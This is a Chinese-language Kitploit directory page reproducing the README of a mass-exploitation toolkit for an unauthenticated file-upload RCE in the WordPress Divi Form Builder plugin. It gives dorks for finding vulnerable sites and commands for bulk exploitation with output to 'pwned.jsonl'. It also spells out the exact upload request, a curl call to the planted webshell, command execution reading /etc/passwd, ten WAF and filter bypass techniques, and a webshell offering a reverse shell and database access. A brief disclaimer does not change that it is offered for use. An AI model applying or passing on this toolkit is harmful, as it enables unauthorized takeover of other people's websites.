Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/iicaicai/cve-2026-5524-poc
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集WAF绕过Web安全渗透测试红队Payload 开发远程访问木马
GitHub
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

针对 CVE-2026-5524 的 Python 大规模利用工具包,该漏洞是 WordPress Divi Form Builder 插件中的未认证文件上传 RCE,支持 webshell 上传和命令执行。

查看仓库

CVE-2026-5524 — Divi Form Builder 未授权 RCE

针对 CVE-2026-5524 的大规模利用工具包,该漏洞是 WordPress 插件 Divi Form Builder <= 5.1.8 中的未授权任意文件上传漏洞,可导致远程代码执行。

version Devon Aji python telegram

字段值
CVE2026-5524
CVSS9.8 (严重)
向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
受影响版本Divi Form Builder <= 5.1.8
已修复版本5.1.9
类型未授权文件上传导致 RCE
研究者0xd4rk5id3 - EnvoraSec

目录

  • 描述
  • Dorks
  • 安装
  • 使用方法
    • 单个目标
    • 批量利用
    • 高级绕过
    • 命令执行
  • 漏洞详情
  • 绕过技术
  • 技术栈
  • 项目结构
  • 攻击流程
  • 免责声明

描述

WordPress 的 Divi Form Builder 插件存在未授权任意文件上传漏洞。do_image_upload() 处理函数将用户可控的 acceptFileTypes POST 参数直接传入用于验证文件扩展名的正则表达式。通过提供诸如 phtml 之类的值,攻击者可以绕过插件仅阻止 .php 扩展名的 .htaccess 规则,并上传具有 PHP 可执行扩展名(.phtml、.phar、.php5、.php7 及类似扩展名)的 webshell。

一旦文件落入 /wp-content/uploads/de_fb_uploads/,Apache 会将其作为 PHP 执行,从而使攻击者以 Web 服务器用户身份获得远程代码执行能力。

该问题已在 Divi Form Builder 5.1.9 中修复。


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

安装

要求:Linux、macOS 或 WSL 上的 Python 3.8 或更高版本。

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

使用方法

单个目标

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

批量利用

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

高级绕过

适用于位于 WAF(NinjaFirewall、Wordfence、ModSecurity)之后,或具有加固的 Apache 或 nginx 配置的目标。

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

命令执行

上传成功后,脚本可以立即执行命令或进入交互式 shell。

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

参数


漏洞详情

存在漏洞的代码

存在漏洞的处理函数在未进行清理的情况下,从用户输入构造正则表达式。

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

通过发送 acceptFileTypes=phtml,生成的正则表达式 /\.(phtml)$/i 会匹配以 .phtml 结尾的文件名,尽管插件自身的 .htaccess 文件仅阻止 .php 扩展名。随后 Apache 会将上传的文件作为 PHP 执行,从而产生远程代码执行。

已确认的攻击链

  1. 爬取嵌入 Divi Form Builder 表单的页面(/、/contact、/quote 等)。附加 ?nocache=<random> 参数以绕过 Varnish、WP Rocket 及其他页面缓存,否则它们会返回过期的 nonce。

  2. 从本地化的 JavaScript 对象中提取 fb_nonce 值:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. 向 /wp-admin/admin-ajax.php POST 一个 multipart 表单,包含:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. 从 JSON 响应中读取文件 URL:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. 使用 base64 编码的命令请求 shell:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

绕过技术

脚本按优先级顺序尝试每种技术,当设置 --aggressive 时,即使第一次上传报告成功,也会尝试每一种技术。


技术栈

利用脚本

自定义 shell(bypass.phtml)


项目结构

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

攻击流程

root@kitploit:~
+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

免责声明

本工具仅供教育目的以及在授权的渗透测试活动中使用。可接受使用的示例包括:

  • 明确授权对目标进行测试的漏洞赏金计划
  • 夺旗赛(CTF)竞赛和专用实验环境
  • 获得资产所有者书面许可的内部安全评估
  • 在受控环境中进行的学术安全研究

未经授权对您不拥有或没有明确书面许可进行测试的系统使用本工具,在几乎所有司法管辖区均属违法,并严格禁止。作者不纵容也不对本代码的滥用承担责任。

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

可能相关的法律包括印度尼西亚的 UU ITE、美国的《计算机欺诈与滥用法》、欧盟的《网络犯罪公约》以及其他地区的同等立法。如有疑问,请先获得书面授权。


许可证

仅供教育用途。完整使用条款请参阅免责声明部分。

下载工具
参数描述
-u URL单个目标 URL
-l FILE包含目标列表的文件,每行一个 URL
-t N并发线程数(默认 10)
--timeout N请求超时时间(秒)(默认 15)
-o FILE将结果保存到 JSONL 输出文件
--proxy URL通过 HTTP 代理路由流量
--nonce HASH使用手动提供的 nonce,跳过自动检测
--ext EXT强制使用单个扩展名,而非完整的绕过列表
--shell成功后进入交互式 RCE shell(仅限单个目标)
--cmd CMD在目标上执行一条命令,然后退出
--shell-file FILE上传自定义 shell 载荷,而非内置载荷
--no-verify跳过上传后的 RCE 验证步骤
--strict-verify确认 shell URL 返回 HTTP 200 以过滤误报
--user-ini为 PHP-FPM 环境上传 .user.ini dropper
--htaccess为 Apache 环境上传 .htaccess 重新启用器
--aggressive启用所有可用的绕过技术
--null-byte包含空字节和双扩展名尝试
--path-traversal尝试上传到 /uploads/YYYY/MM/ 子目录
--debug打印原始 HTTP 响应以进行诊断
#技术目标
1替代 PHP 扩展名 .phtml、.phar、.php5、.php7、.php4、.pht、.shtml仅阻止 .php 的插件 .htaccess 规则
2大小写变体 .PHTML、.PHP5、.PhTmL区分大小写的 WAF 签名(NinjaFirewall)
3双扩展名 .phtml.jpg、.php.jpgApache mod_mime 内容协商特性
4空字节 .php%00.jpg、.phtml%00.txt旧版 PHP(低于 5.3.4)及某些解析器
5尾部空格或点 .php 、.php.Windows IIS 及旧版 Apache
6Content-Type 欺骗 application/octet-stream以 multipart Content-Type 头为关键特征的 WAF
7上传真实的 .htaccess,为 .gif、.png、.jpg、.txt、.html 等重新启用 PHP配置了 AllowOverride All 的 Apache 服务器
8上传包含 auto_prepend_file 的 .user.iniPHP-FPM 环境
9通过 multipart 边界操纵进行文件名注入重新解析请求体的代理和 WAF
10文件名中的路径遍历 ../shell.phtml插件目录限制
组件技术
语言Python 3.8+
HTTP 客户端requests
TLS 处理urllib3 以不安全模式处理自签名证书
并发concurrent.futures.ThreadPoolExecutor 用于批量扫描
解析re 用于 nonce 提取,json 用于响应处理
编码base64 用于 webshell 命令参数
CLIargparse,包含 19 个可配置参数
组件技术
语言PHP 7.0+
执行函数system()、shell_exec()、proc_open()、passthru()、popen()
前端纯 HTML 表单,无 JavaScript 框架
功能文件浏览器、命令执行、数据库访问、反向 shell、自安装 .htaccess 和 .user.ini
大小约 16 KB
绕过层六条独立执行路径及编码载荷